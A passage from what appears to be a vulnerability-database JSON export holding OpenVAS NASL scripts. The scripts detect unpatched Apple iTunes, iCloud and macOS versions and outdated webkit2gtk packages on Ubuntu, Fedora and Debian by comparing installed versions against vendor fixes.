host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exist due to,\n\n - A dynamic library loading issue existed in iTunes setup.\n\n - A logic issue related to improper state management.\n\n - Multiple memory corruption issues.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation allows remote attackers\n to conduct cross site scripting attacks and execute arbitrary code.\");\n\n script_tag(name:\"affected\", value:\"Apple iTunes versions before 12.10.2 on Windows.\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Apple iTunes 12.10.2 or later.\n Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"registry\");\n script_xref(name:\"URL\", value:\"https://support.apple.com/en-us/HT210726\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"secpod_apple_itunes_detection_win_900123.nasl\");\n script_mandatory_keys(\"iTunes/Win/Ver\");\n exit(0);\n}\n\ninclude(\"version_func.inc\");\ninclude(\"host_details.inc\");\n\nif(!infos = get_app_version_and_location(cpe:CPE, exit_no_version:TRUE))\n exit(0);\n\nvers = infos[\"version\"];\npath = infos[\"location\"];\n\nif(version_is_less(version:vers, test_version:\"12.10.2\")) {\n report = report_fixed_ver(installed_version: vers, fixed_version:\"12.10.2\", install_path: path);\n security_message(port:0, data:report);\n exit(0);\n}\n\nexit(99);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-03-27T17:06:27", "description": "This host is installed with Apple iCloud\n and is prone to multiple vulnerabilities.", "cvss3": {}, "published": "2019-11-05T00:00:00", "type": "openvas", "title": "Apple iCloud Security Updates(HT210727)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8750", "CVE-2019-8815", "CVE-2019-8782", "CVE-2019-8822", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8823", "CVE-2019-8766", "CVE-2019-8784", "CVE-2019-8813", "CVE-2019-8811", "CVE-2019-8783", "CVE-2019-8710", "CVE-2019-8814"], "modified": "2020-03-26T00:00:00", "id": "OPENVAS:1361412562310815827", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310815827", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\nCPE = \"cpe:/a:apple:icloud\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.815827\");\n script_version(\"2020-03-26T07:27:53+0000\");\n script_cve_id(\"CVE-2019-8784\", \"CVE-2019-8750\", \"CVE-2019-8813\", \"CVE-2019-8811\",\n \"CVE-2019-8814\", \"CVE-2019-8816\", \"CVE-2019-8819\", \"CVE-2019-8820\",\n \"CVE-2019-8821\", \"CVE-2019-8822\", \"CVE-2019-8823\", \"CVE-2019-8710\",\n \"CVE-2019-8766\", \"CVE-2019-8782\", \"CVE-2019-8783\", \"CVE-2019-8815\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-03-26 07:27:53 +0000 (Thu, 26 Mar 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-11-05 15:24:05 +0530 (Tue, 05 Nov 2019)\");\n script_name(\"Apple iCloud Security Updates(HT210727)\");\n\n script_tag(name:\"summary\", value:\"This host is installed with Apple iCloud\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is\n present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exist due to multiple memory\n corruption issues and logic issue related to improper state management.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation allows remote attackers\n to execute arbitrary code with system privileges and conduct cross site scripting\n attacks.\");\n\n script_tag(name:\"affected\", value:\"Apple iCloud version 10.x before 10.8 on Windows.\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Apple iCloud 10.8 or later.\n Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"registry\");\n script_xref(name:\"URL\", value:\"https://support.apple.com/en-us/HT210727\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"gb_apple_icloud_detect_win.nasl\");\n\n script_mandatory_keys(\"apple/icloud/Win/Ver\");\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(!infos = get_app_version_and_location(cpe:CPE, exit_no_version:TRUE))\n exit(0);\n\nvers = infos[\"version\"];\npath = infos[\"location\"];\n\nif(vers =~ \"^10\\.\" && version_is_less(version:vers, test_version:\"10.8\"))\n{\n report = report_fixed_ver(installed_version:vers, fixed_version:\"10.8\", install_path:path);\n security_message(port:0, data:report);\n exit(0);\n}\nexit(99);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-03-06T16:57:17", "description": "This host is installed with Apple Mac OS X\n and is prone to multiple vulnerabilities.", "cvss3": {}, "published": "2019-10-30T00:00:00", "type": "openvas", "title": "Apple MacOSX Security Updates(HT210722)-01", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8817", "CVE-2017-7152", "CVE-2019-8788", "CVE-2019-8789", "CVE-2019-8858", "CVE-2019-8794", "CVE-2019-15126", "CVE-2019-8801", "CVE-2019-8807", "CVE-2019-8784", "CVE-2019-8805", "CVE-2019-8803", "CVE-2019-8829", "CVE-2019-8754"], "modified": "2020-03-04T00:00:00", "id": "OPENVAS:1361412562310815819", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310815819", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.815819\");\n script_version(\"2020-03-04T11:31:55+0000\");\n script_cve_id(\"CVE-2019-8817\", \"CVE-2019-8788\", \"CVE-2019-8789\", \"CVE-2019-8858\",\n \"CVE-2019-8807\", \"CVE-2019-8754\", \"CVE-2017-7152\", \"CVE-2019-8805\",\n \"CVE-2019-8803\", \"CVE-2019-8801\", \"CVE-2019-8794\", \"CVE-2019-8829\",\n \"CVE-2019-15126\", \"CVE-2019-8784\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-03-04 11:31:55 +0000 (Wed, 04 Mar 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-10-30 12:08:21 +0530 (Wed, 30 Oct 2019)\");\n script_name(\"Apple MacOSX Security Updates(HT210722)-01\");\n\n script_tag(name:\"summary\", value:\"This host is installed with Apple Mac OS X\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is\n present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exists due to,\n\n - A validation issue related to improper input sanitization.\n\n - A memory corruption issue was addressed with improved memory handling.\n\n - An out-of-bounds read error related to improper input validation.\n\n - An issue existed in the parsing of URLs.\n\n - A validation issue related to handling of symlinks.\n\n - An inconsistent user interface issue related to improper state management.\n\n - Multiple memory corruption issues related to improper memory handling.\n\n - A dynamic library loading issue existed in iTunes setup.\n\n - A validation issue existed in the entitlement verification.\n\n For more information refer the references.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation allow attackers to\n read restricted memory, execute arbitrary code with system privileges, conduct\n data exfiltration, bypass authentication, disclosure of user information and\n conduct spoofing attack.\");\n\n script_tag(name:\"affected\", value:\"Apple Mac OS X version 10.15\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Apple Mac OS X 10.15.1 or later.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_xref(name:\"URL\", value:\"https://support.apple.com/en-us/HT210722\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Mac OS X Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/osx_name\", \"ssh/login/osx_version\");\n\n exit(0);\n}\n\ninclude(\"version_func.inc\");\ninclude(\"ssh_func.inc\");\n\nosName = get_kb_item(\"ssh/login/osx_name\");\nif(!osName){\n exit (0);\n}\n\nosVer = get_kb_item(\"ssh/login/osx_version\");\nif(!osVer || osVer !~ \"^10\\.15\" || \"Mac OS X\" >!< osName){\n exit(0);\n}\n\nif(osVer == \"10.15\")\n{\n report = report_fixed_ver(installed_version:osVer, fixed_version:\"10.15.1\");\n security_message(port:0, data:report);\n exit(0);\n}\nexit(0);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-03-06T16:57:35", "description": "This host is installed with Apple Mac OS X\n and is prone to multiple vulnerabilities.", "cvss3": {}, "published": "2019-10-30T00:00:00", "type": "openvas", "title": "Apple MacOSX Security Updates(HT210722)-04", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8787", "CVE-2019-8824", "CVE-2019-8797", "CVE-2019-8785", "CVE-2019-8786", "CVE-2019-8717"], "modified": "2020-03-04T00:00:00", "id": "OPENVAS:1361412562310815822", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310815822", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.815822\");\n script_version(\"2020-03-04T11:31:55+0000\");\n script_cve_id(\"CVE-2019-8787\", \"CVE-2019-8785\", \"CVE-2019-8797\", \"CVE-2019-8717\",\n \"CVE-2019-8786\", \"CVE-2019-8824\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-03-04 11:31:55 +0000 (Wed, 04 Mar 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-10-30 12:08:41 +0530 (Wed, 30 Oct 2019)\");\n script_name(\"Apple MacOSX Security Updates(HT210722)-04\");\n\n script_tag(name:\"summary\", value:\"This host is installed with Apple Mac OS X\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is\n present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exists due to\n\n - Multiple memory corruption issues related to improper memory handling.\n\n - An out-of-bounds read\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation allow attackers\n to gain access to sensitive information and execute arbitrary code with\n kernel privileges.\");\n\n script_tag(name:\"affected\", value:\"Apple Mac OS X versions 10.15, 10.13.x\n prior to 10.13.6 Security Update 2019-006 and 10.14.x prior to 10.14.6\n Security Update 2019-001.\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Apple Mac OS X 10.15.1 or\n later or apply Security Update 2019-006 on 10.13.6 or apply\n Security Update 2019-001 on 10.14.6.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_xref(name:\"URL\", value:\"https://support.apple.com/en-us/HT210722\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Mac OS X Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/osx_name\", \"ssh/login/osx_version\");\n\n exit(0);\n}\n\ninclude(\"version_func.inc\");\ninclude(\"ssh_func.inc\");\n\nosName = get_kb_item(\"ssh/login/osx_name\");\nif(!osName){\n exit (0);\n}\n\nosVer = get_kb_item(\"ssh/login/osx_version\");\nif(!osVer || osVer !~ \"^10\\.1[345]\" || \"Mac OS X\" >!< osName){\n exit(0);\n}\n\nbuildVer = get_kb_item(\"ssh/login/osx_build\");\n\nif(osVer =~ \"^10\\.13\")\n{\n if(version_in_range(version:osVer, test_version:\"10.13\", test_version2:\"10.13.5\")){\n fix = \"Upgrade to latest OS release and apply patch from vendor\";\n }\n\n else if(osVer == \"10.13.6\")\n {\n if(osVer == \"10.13.6\" && version_is_less(version:buildVer, test_version:\"17G9016\"))\n {\n fix = \"Apply patch from vendor\";\n osVer = osVer + \" Build \" + buildVer;\n }\n }\n}\n\nif(osVer =~ \"^10\\.14\")\n{\n if(version_in_range(version:osVer, test_version:\"10.14\", test_version2:\"10.14.5\")){\n fix = \"Upgrade to latest OS release and apply patch from vendor\";\n }\n\n else if(osVer == \"10.14.6\")\n {\n if(osVer == \"10.14.6\" && version_is_less(version:buildVer, test_version:\"18G1012\"))\n {\n fix = \"Apply patch from vendor\";\n osVer = osVer + \" Build \" + buildVer;\n }\n }\n}\n\nelse if(osVer == \"10.15\"){\n fix = \"10.15.1\";\n}\n\nif(fix)\n{\n report = report_fixed_ver(installed_version:osVer, fixed_version:fix);\n security_message(port:0, data:report);\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-12-30T12:55:43", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2019-11-13T00:00:00", "type": "openvas", "title": "Ubuntu Update for webkit2gtk USN-4181-1", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2019-12-28T00:00:00", "id": "OPENVAS:1361412562310844232", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310844232", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.844232\");\n script_version(\"2019-12-28T10:21:15+0000\");\n script_cve_id(\"CVE-2019-8812\", \"CVE-2019-8814\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-12-28 10:21:15 +0000 (Sat, 28 Dec 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-11-13 03:01:10 +0000 (Wed, 13 Nov 2019)\");\n script_name(\"Ubuntu Update for webkit2gtk USN-4181-1\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Ubuntu Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\", re:\"ssh/login/release=(UBUNTU18\\.04 LTS|UBUNTU19\\.10|UBUNTU19\\.04)\");\n\n script_xref(name:\"USN\", value:\"4181-1\");\n script_xref(name:\"URL\", value:\"https://lists.ubuntu.com/archives/ubuntu-security-announce/2019-November/005190.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'webkit2gtk'\n package(s) announced via the USN-4181-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"A large number of security issues were discovered in the WebKitGTK+ Web and\nJavaScript engines. If a user were tricked into viewing a malicious\nwebsite, a remote attacker could exploit a variety of issues related to web\nbrowser security, including cross-site scripting attacks, denial of service\nattacks, and arbitrary code execution.\");\n\n script_tag(name:\"affected\", value:\"'webkit2gtk' package(s) on Ubuntu 19.10, Ubuntu 19.04, Ubuntu 18.04 LTS.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nrelease = dpkg_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"UBUNTU18.04 LTS\") {\n\n if(!isnull(res = isdpkgvuln(pkg:\"libjavascriptcoregtk-4.0-18\", ver:\"2.26.2-0ubuntu0.18.04.1\", rls:\"UBUNTU18.04 LTS\"))) {\n report += res;\n }\n\n if(!isnull(res = isdpkgvuln(pkg:\"libwebkit2gtk-4.0-37\", ver:\"2.26.2-0ubuntu0.18.04.1\", rls:\"UBUNTU18.04 LTS\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nif(release == \"UBUNTU19.10\") {\n\n if(!isnull(res = isdpkgvuln(pkg:\"libjavascriptcoregtk-4.0-18\", ver:\"2.26.2-0ubuntu0.19.10.1\", rls:\"UBUNTU19.10\"))) {\n report += res;\n }\n\n if(!isnull(res = isdpkgvuln(pkg:\"libwebkit2gtk-4.0-37\", ver:\"2.26.2-0ubuntu0.19.10.1\", rls:\"UBUNTU19.10\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nif(release == \"UBUNTU19.04\") {\n\n if(!isnull(res = isdpkgvuln(pkg:\"libjavascriptcoregtk-4.0-18\", ver:\"2.26.2-0ubuntu0.19.04.1\", rls:\"UBUNTU19.04\"))) {\n report += res;\n }\n\n if(!isnull(res = isdpkgvuln(pkg:\"libwebkit2gtk-4.0-37\", ver:\"2.26.2-0ubuntu0.19.04.1\", rls:\"UBUNTU19.04\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-12-30T12:50:18", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2019-11-17T00:00:00", "type": "openvas", "title": "Fedora Update for webkit2gtk3 FEDORA-2019-4213e37211", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2019-12-28T00:00:00", "id": "OPENVAS:1361412562310877012", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310877012", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.877012\");\n script_version(\"2019-12-28T10:21:15+0000\");\n script_cve_id(\"CVE-2019-8812\", \"CVE-2019-8814\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-12-28 10:21:15 +0000 (Sat, 28 Dec 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-11-17 03:31:53 +0000 (Sun, 17 Nov 2019)\");\n script_name(\"Fedora Update for webkit2gtk3 FEDORA-2019-4213e37211\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC30\");\n\n script_xref(name:\"FEDORA\", value:\"2019-4213e37211\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KP6UYDPJRIPQQ5YTFSMLFMIS5OUGZAOV\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'webkit2gtk3'\n package(s) announced via the FEDORA-2019-4213e37211 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"WebKitGTK is the port of the portable web rendering engine WebKit to the\nGTK platform.\n\nThis package contains WebKit2 based WebKitGTK for GTK 3.\");\n\n script_tag(name:\"affected\", value:\"'webkit2gtk3' package(s) on Fedora 30.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC30\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"webkit2gtk3\", rpm:\"webkit2gtk3~2.26.2~1.fc30\", rls:\"FC30\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-12-30T12:59:10", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2019-11-14T00:00:00", "type": "openvas", "title": "Debian Security Advisory DSA 4563-1 (webkit2gtk - security update)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8812", "CVE-2019-8814"], "modified": "2019-12-28T00:00:00", "id": "OPENVAS:1361412562310704563", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310704563", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.704563\");\n script_version(\"2019-12-28T10:21:15+0000\");\n script_cve_id(\"CVE-2019-8812\", \"CVE-2019-8814\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-12-28 10:21:15 +0000 (Sat, 28 Dec 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-11-14 03:00:30 +0000 (Thu, 14 Nov 2019)\");\n script_name(\"Debian Security Advisory DSA 4563-1 (webkit2gtk - security update)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB10\");\n\n script_xref(name:\"URL\", value:\"https://www.debian.org/security/2019/dsa-4563.html\");\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/DSA-4563-1\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'webkit2gtk'\n package(s) announced via the DSA-4563-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"These vulnerabilities have been discovered in the webkit2gtk web engine:\n\nCVE-2019-8812\nAn anonymous researcher discovered that maliciously crafted web\ncontent may lead to arbitrary code execution.\n\nCVE-2019-8814\nCheolung Lee discovered that maliciously crafted web content may\nlead to arbitrary code execution.\");\n\n script_tag(name:\"affected\", value:\"'webkit2gtk' package(s) on Debian Linux.\");\n\n script_tag(name:\"solution\", value:\"For the stable distribution (buster), these problems have been fixed in\nversion 2.26.2-1~deb10+1.\n\nWe recommend that you upgrade your webkit2gtk packages.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"gir1.2-javascriptcoregtk-4.0\", ver:\"2.26.2-1~deb10+1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"gir1.2-webkit2-4.0\", ver:\"2.26.2-1~deb10+1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"libjavascriptcoregtk-4.0-18\", ver:\"2.26.2-1~deb10+1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"libjavascriptcoregtk-4.0-bin\", ver:\"2.26.2-1~deb10+1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"libjavascriptcoregtk-4.0-dev\", ver:\"2.26.2-1~deb10+1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"libwebkit2gtk-4.0-37\", ver:\"2.26.2-1~deb10+1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"libwebkit2gtk-4.0-37-gtk2\", ver:\"2.26.2-1~deb10+1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"libwebkit2gtk-4.0-dev\", ver:\"2.26.2-1~deb10+1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"libwebkit2gtk-4.0-doc\", ver:\"2.26.2-1~deb10+1\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"webkit2gtk-driver\", ver:\"2.26.2-1~deb10+1\", rls:\"DEB10\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n\nexit(0);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-14T14:48:07", "description": "The remote host 